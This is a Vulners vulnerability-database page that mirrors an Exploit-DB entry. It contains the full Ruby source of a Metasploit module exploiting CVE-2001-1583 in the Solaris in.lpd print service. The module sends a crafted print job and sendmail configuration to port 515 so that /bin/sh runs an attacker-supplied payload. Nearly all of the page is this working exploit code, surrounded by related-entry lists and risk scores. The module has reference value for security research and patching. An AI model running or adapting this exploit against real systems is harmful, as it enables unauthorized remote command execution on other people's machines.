Lucene search
K

Solaris LPD - Command Execution (Metasploit)

🗓️ 20 Sep 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 43 Views

Solaris LPD Command Execution in.lpd service allows arbitrary command execution up to Solaris 8.0. Exploits technique by Dino Dai Zovi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2001-1583
20 Sep 201000:00
circl
CVE
CVE-2001-1583
23 Sep 200723:00
cve
Cvelist
CVE-2001-1583
23 Sep 200723:00
cvelist
Exploit DB
Solaris 8.0 LPD - Command Execution (Metasploit)
31 Aug 200100:00
exploitdb
exploitpack
Solaris 8.0 LPD - Command Execution (Metasploit)
31 Aug 200100:00
exploitpack
canvas
Immunity Canvas: IN_LPD
31 Dec 200105:00
canvas
Metasploit
Solaris LPD Command Execution
16 Jan 200602:59
metasploit
NVD
CVE-2001-1583
31 Dec 200105:00
nvd
Packet Storm
Solaris LPD Command Execution
28 Oct 200900:00
packetstorm
Positive Technologies
PT-2001-2667 · Oracle · Solaris
31 Dec 200100:00
ptsecurity
Rows per page
##
# $Id: sendmail_exec.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Solaris LPD Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution flaw in
				the in.lpd service shipped with all versions of Sun Solaris
				up to and including 8.0. This module uses a technique
				discovered by Dino Dai Zovi to exploit the flaw without
				needing to know the resolved name of the attacking system.
			},
			'Author'         => [ 'hdm', 'ddz' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2001-1583'],
					[ 'OSVDB', '15131'],
					[ 'BID', '3274'],
				],
			'Platform'       => ['unix', 'solaris'],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'       => 8192,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DisclosureDate' => 'Aug 31 2001',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(515)
			], self.class)
	end

	def exploit

		# This is the temporary path created in the spool directory
		spath = "/var/spool/print"

		# The job ID is squashed down to three decimal digits
		jid   = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

		# The control file
		control =
			"H"+"metasploit\n"+
			"P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+
			"f"+"dfA"+jid+"config\n"+
			"f"+"dfA"+jid+"script\n"


		# The mail configuration file
		mailcf =
			"V8\n"+
			"\n"+
			"Ou0\n"+
			"Og0\n"+
			"OL0\n"+
			"Oeq\n"+
			"OQX/tmp\n"+
			"\n"+
			"FX|/bin/sh #{spath}/#{jid}script\n"+
			"\n"+
			"S3\n"+
			"S0\n"+
			"R\+     #local \\@blah :blah\n"+
			"S1\n"+
			"S2\n"+
			"S4\n"+
			"S5\n"+
			"\n"+
			"Mlocal  P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+
			"Mprog   P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"

		# Establish the first connection to the server
		sock1 = connect(false)

		# Request a cascaded job
		sock1.put("\x02metasploit:framework\n")
		res = sock1.get_once
		if (not res)
			print_status("The target did not accept our job request command")
			return
		end

		print_status("Configuring the spool directory...")
		if !(
				send_file(sock1, 2, "cfA" + jid + "metasploit", control) and
				send_file(sock1, 3, jid + "mail.cf", mailcf) and
				send_file(sock1, 3, jid + "script", payload.encoded)
			)
			sock1.close
			return
		end

		# Establish the second connection to the server
		sock2 = connect(false)

		# Request another cascaded job
		sock2.put("\x02localhost:metasploit\n")
		res = sock2.get_once
		if (not res)
			print_status("The target did not accept our second job request command")
			return
		end

		print_status("Attempting to trigger the vulnerable call to the mail program...")
		if !(
				send_file(sock2, 2, "cfA" + jid + "metasploit", control) and
				send_file(sock2, 3, "dfa" + jid + "config", mailcf)
			)
			sock1.close
			sock2.close
			return
		end

		sock1.close
		sock2.close

		print_status("Waiting up to 60 seconds for the payload to execute...")
		select(nil,nil,nil,60)

		handler
	end

	def send_file(s, type, name, data='')

		s.put(type.chr + data.length.to_s + " " + name + "\n")
		res = s.get_once(1)
		if !(res and res[0,1] == "\x00")
			print_status("The target did not accept our control file command (#{name})")
			return
		end

		s.put(data)
		s.put("\x00")
		res = s.get_once(1)
		if !(res and res[0,1] == "\x00")
			print_status("The target did not accept our control file data (#{name})")
			return
		end

		print_status(sprintf("     Uploaded %.4d bytes >> #{name}", data.length))
		return true
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Sep 2010 00:00Current
7High risk
Vulners AI Score7
CVSS 210
EPSS0.49276
43